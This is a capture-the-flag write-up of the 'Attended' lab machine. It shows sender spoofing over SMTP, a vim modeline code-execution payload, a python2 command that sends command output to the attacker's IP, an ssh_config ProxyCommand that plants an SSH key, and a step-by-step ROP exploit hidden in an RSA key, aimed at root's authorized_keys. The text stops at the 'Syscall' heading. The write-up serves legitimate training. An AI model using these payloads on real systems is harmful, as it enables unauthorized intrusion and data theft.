Attended
Attended was on of the hardest box I ever even touched. It helped me to improve my pwn skills a lot so it's 100% worth it.

Recon

There are only 2 ports opened on the host, 25 (smtp), and 22 (ssh)
Let's setup an smtp server and see if we get an answer from any user. I use FakeSMTP:
After striking my head against the wall a bit, I decided to mail the creators of the box :).
swaks --to guly@attended.htb --from _0xten@secret.com
I first tried guly and got the following response:
Mon, 03 May 2021 17:18:04 -0400 (EDT)
Received: from attended.htb (attended.htb [192.168.23.2])
by attendedgw.htb (Postfix) with ESMTP id 7560E32CCF
for <_0xten@10.10.14.27>; Mon, 3 May 2021 23:22:50 +0200 (CEST)
Content-Type: multipart/alternative;
boundary="===============8290742098115745222=="
MIME-Version: 1.0
Subject: Re: test Mon, 03 May 2021 17:16:04 -0400
From: guly@attended.htb
--===============8290742098115745222==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
hello, thanks for writing.
i'm currently quite busy working on an issue with freshness and dodging any email from everyone but him. i'll get back in touch as soon as possible.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
--===============8290742098115745222==--
Saying he's busy with freshness (the other co-creator of attended). At this point I thought that maybe mailing guly prettending to be freshness might result in a different response
swaks --to guly@attended.htb --from freshness@attended.htb
, and as expected
Tue, 02 Mar 2021 07:13:02 -0500 (EST)
Received: from attended.htb (attended.htb [192.168.23.2])
by attendedgw.htb (Postfix) with ESMTP id 5803732CCF
for <freshness@10.10.15.10>; Tue, 2 Mar 2021 13:22:33 +0100 (CET)
Content-Type: multipart/alternative;
boundary="===============3652242623055986180=="
MIME-Version: 1.0
Subject: Re: test Tue, 02 Mar 2021 07:11:59 -0500
From: guly@attended.htb
--===============3652242623055986180==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :)
p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
--===============3652242623055986180==--
After reading this, I tried sending and email with an attachment:
swaks --to guly@attended.htb --from freshness@attended.htb --attach dummy.txt
and we got a third response:
Tue, 02 Mar 2021 07:28:03 -0500 (EST)
Received: from attended.htb (attended.htb [192.168.23.2])
by attendedgw.htb (Postfix) with ESMTP id 3229A32CCF
for <freshness@10.10.15.10>; Tue, 2 Mar 2021 13:37:35 +0100 (CET)
Content-Type: multipart/alternative;
boundary="===============4711056454254821347=="
MIME-Version: 1.0
Subject: Re: test Tue, 02 Mar 2021 07:27:18 -0500
From: guly@attended.htb
--===============4711056454254821347==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
thanks dude, i'm currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax.
if everything is fine, you will find your config file within a few minutes in the /home/shared folder.
test it ASAP and let me know if you still face that weird issue.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
--===============4711056454254821347==--
From all these emails we can extract a few infos:
Guly expects an attachment from freshness
He'll open it with vim
We have python2 on the system
There are outbound traffic restrictions
The attachment is a config file (likely ssh)
The freshness user will test the config file in /home/shared
So our attack chain would likely be the following:
send a malicious attachment to get code execution -> Bypass traffic restrictions via data exfiltration -> Create a malicious ssh_config file -> Finally login as a user and work our way from there
Of course that wasn't my fist guess, it was actually the result of many frustrated attempts.
Vim
Searching for vim CVEs this one seems the most promissing one:
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
So I tried sending an attachment that would make the host ping my box, which seems the most reasonable test since there are traffic restrictions on the target
:!ping -c1 10.10.15.10||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
And it works!
After playing around a bit with the exploit I tried to exfiltrate data via http using python2 (at this point I was praying for the request lib to available on the host).
Here is the first thing I sent:
:!python2 -c "import requests,base64,subprocess;requests.get('http://10.10.15.10/'+base64.b64encode(subprocess.check_output('ls -la',shell=True)))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
And listened on port 80. This will retreive the base64 encoded output of the command, After decoding it we get:
total 60
drwxr-x--- 4 guly guly 512 May 3 23:16 .
drwxr-xr-x 5 root wheel 512 Jun 26 2019 ..
-rw-r--r-- 1 guly guly 87 Apr 13 2019 .Xdefaults
-rw-r--r-- 1 guly guly 771 Apr 13 2019 .cshrc
-rw-r--r-- 1 guly guly 101 Apr 13 2019 .cvsrc
-rw-r--r-- 1 guly guly 359 Apr 13 2019 .login
-rw-r--r-- 1 guly guly 175 Apr 13 2019 .mailrc
-rw-r--r-- 1 guly guly 215 Apr 13 2019 .profile
drwx------ 2 root wheel 512 Jun 26 2019 .ssh
-rw------- 1 guly guly 0 Dec 15 17:05 .viminfo
-rw-r----- 1 guly guly 13 Jun 26 2019 .vimrc
-rwxrwxrwx 1 root guly 6789 Dec 4 09:07 gchecker.py
-rw------- 1 guly guly 0 May 3 23:16 mbox
drwxr-xr-x 2 guly guly 512 Jun 26 2019 tmp
The tmp folder inside guly's home seems interesting...
total 32
drwxr-xr-x 2 guly guly 512 Jun 26 2019 .
drwxr-x--- 4 guly guly 512 May 3 23:17 ..
-rwxr-x--- 1 guly guly 12288 Jun 26 2019 .config.swp
It contains a vim swap of a config file, this will possibly hint us on how our malicious config must look like.
This is not simply ascii text so use strings instead of cat.
ServerAliveInterval 60
TCPKeepAlive yes
ControlPersist 4h
ControlPath /tmp/%r@%h:%p
ControlMaster auto
User freshness
Host *
This confirms my theory that we need to drop a config file at /home/shared and it will be used as a ssh_config file. We can execute commands whenever our config file is used by abusing some special configurations such as ProxyCommand.
If we create a /home/shared/config file with ProxyCommand to write a ssh key to authorized_keys we might be able to login as freshness.
Host *
User freshness
ControlMaster auto
ControlPath /tmp/%r@%h:%p
ControlPersist 4h
TCPKeepAlive yes
ServerAliveInterval 60
ProxyCommand echo ssh-ed25519 AAAAC3[...]qEUi > /home/freshness/.ssh/authorized_keys
This is the config file I used.
We can try to write it with the above attachment and then we wait for freshness to test it.
!python2 -c "import requests,base64,subprocess;requests.get('http://10.10.14.27/'+base64.b64encode(subprocess.check_output('echo \'Host *\n User freshness\n ControlMaster auto\n ControlPath /tmp/\%r@\%h:\%p\n ControlPersist 4h\n TCPKeepAlive yes\n ServerAliveInterval 60\n ProxyCommand echo ssh-ed25519 AAAAC3[...]qEUi > /home/freshness/.ssh/authorized_keys\' >> /home/shared/config; cat /home/shared/config',shell=True)))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
And finally this works and we can login with ssh.

So far so good. Pretty nice warm up, now let's get to the really crazy part...
Authkeys
There is a note.txt file at /home/freshness/authkeys:
on attended:
[ ] enable authkeys command for sshd
[x] remove source code
[ ] use nobody
on attendedgw:
[x] enable authkeys command for sshd
[x] remove source code
[ ] use nobody
And also an ELF executable file called authkeys.
The note suggests that there is another host in the network. Reading /etc/hosts confirms that:
127.0.0.1 localhost
::1 localhost
192.168.23.2 attended.attended.htb attended
192.168.23.1 attendedgw.attended.htb attendedgw
The term "Authkeys" rings a bell, there is a configuration that can be set on sshd_config to process data received from private/public key authentication on ssh. Reading /etc/ssh/sshd_config we see the following lines:
#AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k
#AuthorizedKeysCommandUser root
Those are commented out but from the note we can assume that they aren't on attendedgw.
Attendedgw isn't listening on port 22, so the natural thing is to test 2222 instead, which confirms ssh is listening, but running a portscan is also an option.
Now let's try to understand the arguments passed to the authkeys program. sshd_config(5) - OpenBSD manual pagesman.openbsd.org
Reading the documentation we can easily understand what %f %h %t %k are:
TOKENS
Arguments to some keywords can make use of tokens, which are expanded at runtime:
%%
A literal ‘%’.
%D
The routing domain in which the incoming connection was received.
%F
The fingerprint of the CA key.
%f
The fingerprint of the key or certificate.
%h
The home directory of the user.
%i
The key ID in the certificate.
%K
The base64-encoded CA key.
%k
The base64-encoded key or certificate for authentication.
%s
The serial number of the certificate.
%T
The type of the CA key.
%t
The key or certificate type.
%U
The numeric user ID of the target user.
%u
The username.
Testing with the following parameters we can see that there is a buffer overflow on the %k parameter (The base64 encoded public key):
./authkeys SHA256:n/aWYVFoUcXYWaCdwdrWILyNe+0MSvNsJcrGUJIw9lU /home/freshness/.ssh ssh-rsa YWFh[...]YWFhYQ==
Evaluating key...
Bus error (core dumped)
Opening the binary on gdb on a openbsd vm and setting a ton of base64 encoded A's as our %k argument we can overwrite the rsp register to whatever we want and start work on a rop chain:
rax 0x0 0
rbx 0xffffffffffffffff -1
rcx 0x0 0
rdx 0x6161616161616161 7016996765293437281
rsi 0x0 0
rdi 0x0 0
rbp 0x7f7ffffea500 0x7f7ffffea500
rsp 0x7f7ffffea4f8 0x7f7ffffea4f8
r8 0x7f7ffffeaf7c 140187732455292
r9 0x7f7ffffea893 140187732453523
r10 0x7f7ffffea1f0 140187732451824
r11 0x1616161616161610 1591483802437686800
r12 0x7f7ffffea6a2 140187732453026
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x40036b 0x40036b
eflags 0x10246 66118
cs 0x2b 43
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x23 35
gs 0x23 35
(gdb) x/gx $rsp
0x7f7ffffea4f8: 0x6161616161616161
Before that we must consider that we'll send a private key that will then be converted to a public key, so thinking of the crafting of the key before building an exploit will prevent us from doing some extra work to adapt our padding to the correct format.
SSH-RSA
RSA (cryptosystem) - Wikipediaen.wikipedia.org
We know how RSA keys are built, now we have to think on how to make a private key that will produce a public key containing our payload. A RSA key is composed by p, q, n and e where p and q are any two prime numbers, n is the product of those two and e is an integer such that 1 < e < phi and gcd(e, phi) = 1; that is, e and phi are coprime.
So the value we have most control over and is present in both the private and the public key is e.
Let's make that e = our payload, p = a very large prime, q = another very large prime, n = p*q, phi = (p-1)*(q-1), this is the famous Euler totient function. To generate a private key we also need to find d, which is the modular multiplicative inverse of e modulo phi, and the crt_coef, which is the modular multiplicative inverse of p modulo q.
The last thing we must care about is that our payload (e) needs to be coprime to phi, so we can add a few bytes at the end and only modify those, so our payload will keep the same. I'll be using sagemath, which basically let's you run python with crazy alegebra functions.
Now show me the code!
# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)
Here are our first definitions, now we need to use an algoritm to modifly the last few bytes of e until we hit a coprime to phi:
# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)
crt_coef = inverse_mod(p, q)
# e coprime to phi
_e = e
for i in range(1, 2**(8*4), 2):
__e = _e + i
if gcd(phi, __e) == 1:
e = __e
break
I'm using the gcd(phi, e) = 1 condition I mentioned before to confirm that e is good to go. The reason for my range to be 1, 2e16 is that 2e16 is the biggest possible number that would perfectly fit the bytes we freed by adding 8 null bytes to the end of our payload.
Now we want to calculate our inverses.
# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)
crt_coef = inverse_mod(p, q)
# e coprime to phi
_e = e
for i in range(1, 2**(8*4), 2):
__e = _e + i
if gcd(phi, __e) == 1:
e = __e
break
# Find d
d = inverse_mod(e, phi)
And we can finally build a key!
from Crypto.PublicKey import RSA
import os
# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)
crt_coef = inverse_mod(p, q)
# e coprime to phi
_e = e
for i in range(1, 2**(8*4), 2):
__e = _e + i
if gcd(phi, __e) == 1:
e = __e
break
# Find d
d = inverse_mod(e, phi)
# Build Key
rsa_params = (int(n), int(e), int(d), int(p), int(q), int(crt_coef))
key = RSA.construct(rsa_params ,consistency_check=False).exportKey().decode()
# Write key file
if os.path.isfile('ropkey.pem'):
os.unlink('ropkey.pem')
with open('ropkey.pem', 'w') as f:
f.write(key)
os.popen('chmod 400 ropkey.pem')
Now let's extract our public key and test it on gdb to see if our overflow works as expected.

I first tried 850 A's as padding and we can see that we wrote 81 bytes after rsp, so now we just need to reajust that to be 761 A's + 8 B's to see if wee can perfectly overwrite rsp.
(gdb) x/100gx $rsp
0x7f7fffff4928: 0x4141414141414141 0x4141414141414141
0x7f7fffff4938: 0x4141414141414141 0x4141414141414141
0x7f7fffff4948: 0x4141414141414141 0x4141414141414141
0x7f7fffff4958: 0x4141414141414141 0x4141414141414141
0x7f7fffff4968: 0x4141414141414141 0x4141414141414141
0x7f7fffff4978: 0x4141414141414141 0x0000000000000041
It works, the rsp value is overwritten an on the first return after the overflow it changes rip to bbbbbbbb which means we can start building our rop chain.
ROP
Using ropper to search for useful gadgets we can see that we can probably make a syscall. Also keep in mind that the user data is stored in the data section before being written onto the stack, which is good since there is no PIE, so we can store arguments we might want to use there, making ROP easier.
0x00000000004003c1: add al, ch; or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall;
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret;
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi, rdi; syscall;
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret;
0x00000000004003c0: add byte ptr [rax], al; call 0x3cf; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; ret;
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall;
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall; ret;
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi, rdi; syscall;
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi, rdi; syscall; ret;
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall; ret;
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret;
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; ret;
0x00000000004003cd: xor edi, edi; syscall;
0x00000000004003cd: xor edi, edi; syscall; ret;
0x00000000004003cc: xor rdi, rdi; syscall;
0x00000000004003cc: xor rdi, rdi; syscall; ret;
0x00000000004003cf: syscall;
0x00000000004003cf: syscall; ret;
Our challenge now is to control rax, rdi, rsi and rdx. rax will be the syscall number; we want it to be 59, which is execve() on openbsd; rdi needs to be "/bin/sh", that string is obviously not available on the program but we can put it on our padding; rsi needs to be a pointer to an array of arguments and finally rdx is an optional argument that we want to be null.
RAX
Looking for gadgets to control rax anything that helps manipulating rax, eax, ax or al is useful since those are all the same register but each one allows controling a different amount of bytes.
x64 Architecture - Windows driversx64 Architecturedocs.microsoft.com
Two gadget can be chained to change rax to whatever we want
000000000400370: shr eax, 1; ret;
and
0x000000000040036d: not al; adc cl, 0xe8; ret;
At the moment of the crash rax is set to 0x0, shr (shift right) moves all bytes to the right and not swaps 0's and 1's.
With all we can control 8 bits so:
00000000 --> not --> 11111111
And for each shift we move everything to the right so:
1111111 --> shr --> 0111111
If we want to go from 0 to 59 we need the following operations:
00000000 --> not --> 11111111
1111111 --> shr --> 0111111
0111111 --> shr --> 0011111
0011111 --> not --> 1100000
1100000 --> shr --> 01100000
01100000 --> not --> 10011111
10011111 --> shr --> 01001111
01001111 --> shr --> 00100111
00100111 --> shr --> 00010011
00010011 --> not --> 11101100
11101100 --> shr --> 01110110
01110110 --> shr --> 00111011
Now let's start developing an exploit to change rax to 59:
#!/usr/bin/env python3
from pwn import *
# Junk
junk = 761*b'A'
# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
# Payload
payload = junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax #last gadget is just a dummy so far
print(payload.hex())
The above code creates our rop chain, if we feed it to the key generator and test our exploit we successfully changed rax to 59:
(gdb) i r
rax 0x3b 59
now we can move on to the next registers.
RDI/RSI/RDX
There is also a chain of gadgets that allow us to control rsi and, as we'll see later on, also control rdi and rdx.
0x000000000040036a: pop rdx; ret;
Let's us easily change the value of rdx.
000000000040037b: movss xmm0, dword ptr [rdx];
Copies a dword pointer from rdx to xmm0.
0x0000000000400380: cvtss2si esi, xmm0; ret;
Converts a float from xmm0 and stores the result on esi.
And finally:
0x0000000000400367: mov rdi, rsi; pop rdx; ret;
Copies rsi to rdi
cvtss2si
expects a float value and movss
expects a dword pointer. We want rdi to be "/bin/sh", so we store that value in memory by modifying our padding. Then we need to store a pointer to that address as a float value because it will be converted back afterwards. Finally we just pop rdi with that value's address
Let's take it slow and start by checking where "/bin/sh" is written to:
#!/usr/bin/env python3
from pwn import *
# Junk
#junk = 761*b'A'
junk = 753*b'A'
# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
# Payload
payload = bin_sh
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax #last gadget is just a dummy so far
print(payload.hex())
First we consult the vaddr of a memory section out payload overwrote:
>> rabin2 -z pwn/authkeys
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00001000 0x00601000 189 190 .data ascii Too bad, Wrong number of arguments!\nEvaluating key...\nSorry, this damn thing is not complete yet. I'll finish asap, promise!\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
And inspect that address (and the next few ones) in gdb:
0x6010c0: 0x2d68737307000000 0x2f61030000617372
0x6010d0: 0x410068732f6e6962 0x4141414141414141
0x6010e0: 0x4141414141414141 0x4141414141414141
This reveals we are one byte off, we can try to fix this by adding a sigle byte before our string.
0x6010d0: 0x0068732f6e69622f 0x4141414141414141
0x6010e0: 0x4141414141414141 0x4141414141414141
And now our string is perfectly written to 0x6010d0
. Now we need to create a convert 0x6010d0
to a floar value and also store it in memory.
One simple way of doing this is using: Hexadecimal to Decimal ConverterHexadecimal to decimal converter helps you to calculate decimal value from a hex number up to 16 characters length, and hex to dec conversion table.www.binaryhexconverter.com
And Floating Point to Hex Convertergregstoll.com
We first convert our address and convert it to a integer and feed it to the float to hex converter.


So the float value in hex will be 0x4ac021a0
, which we'll store in the memory.
#!/usr/bin/env python3
from pwn import *
# Junk
#junk = 761*b'A'
junk = 744*b'A'
# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax #last gadget is just a dummy so far
print(payload.hex())
Now we should also see our float value in the data section.
0x6010d0: 0x0068732f6e69622f 0x000000004ac021a0
0x6010e0: 0x4141414141414141 0x4141414141414141
Now we just have to pop rdx with 0x6010d0 and throw in the gadgets that were mentioned before:
#!/usr/bin/env python3
from pwn import *
# Junk
#junk = 761*b'A'
junk = 744*b'A'
#junk = 736*b'A'
# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)
# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi
print(payload.hex())
At this point we can start writing our array of arguments to the data section. argv[0] is the name of the program, so also "/bin/sh", argv[1] will be "-c", and argv[2] can be any command we want. Our command can be, for example:
mkdir /root/.ssh; echo "{your public key}" > /root/.ssh/authorized_keys
With the following code:
#!/usr/bin/env python3
from pwn import *
# Junk
#junk = 761*b'A'
#junk = 744*b'A'
junk = 600*b'A'
#junk = 736*b'A'
# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)
# /bin/sh args
arg1 = b'-c'.ljust(8, b'\x00') # -c
arg2 = b'mkdir /root/.ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleIY99tS9NgpR7d8bXCTKeyLqPU56qLH7Cc89uqEUi" > /root/.ssh/authorized_keys'.ljust(136, b'\x00')
print(len(arg2))
# /bin/sh arg addresses
# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += arg1
payload += arg2
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi
print(payload.hex())
We can see our arguments in the data section:
0x6010d0: 0x0068732f6e69622f 0x000000004ac021a0
0x6010e0: 0x000000000000632d 0x722f207269646b6d
0x6010f0: 0x6873732e2f746f6f 0x22206f686365203b
0x601100: 0x353264652d687373 0x4141414120393135
0x601110: 0x6c3143617a4e3343 0x3545544e3149445a
0x601120: 0x656c424941414141 0x4e39537439395949
0x601130: 0x5862386437527067 0x50714c79654b5443
0x601140: 0x4337484c71363555 0x6955457175393863
0x601150: 0x6f6f722f203e2022 0x612f6873732e2f74
0x601160: 0x657a69726f687475 0x00007379656b5f64
Now all we need to do is assign pointers to each of those arguments in an array.
With the following code we can write our array of pointers to each of our arguments:
#!/usr/bin/env python3
from pwn import *
# Junk
#junk = 761*b'A'
#junk = 744*b'A'
#junk = 600*b'A'
junk = 568*b'A'
#junk = 736*b'A'
# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)
zero = p64(0x0)
# /bin/sh args
arg1 = b'-c'.ljust(8, b'\x00') # -c
arg2 = b'mkdir /root/.ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleIY99tS9NgpR7d8bXCTKeyLqPU56qLH7Cc89uqEUi" > /root/.ssh/authorized_keys'.ljust(136, b'\x00')
print(len(arg2))
# /bin/sh arg addresses
arg0_addr = p64(0x6010d0)
arg1_addr = p64(0x6010e0)
arg2_addr = p64(0x6010e8)
# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += arg1
payload += arg2
payload += arg0_addr
payload += arg1_addr
payload += arg2_addr
payload += zero
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi
print(payload.hex())
And here is how the addresses looks the array in the data section:
0x601170: 0x00000000006010d0 0x00000000006010e0
0x601180: 0x00000000006010e8 0x0000000000000000
Now we need to make rsi point to the first adddress of the array so we do the same processes we did to rdi using cvtss2si and movss to make write 0x601170
to rsi.
0x601190: 0x000000004ac022e0 0x4141414141414141
You know the drill, write the float to memory, then pop rdx with the address of that value and use our special gadgets to convert it back to hex and store it in rsi. Ps: I had to reset the rip before that because the rdx value was being writen to rip. That asa easy to solve, since I was already writing to rip i just had to write the correct address back to it to reajust the execution flow.
Syscall
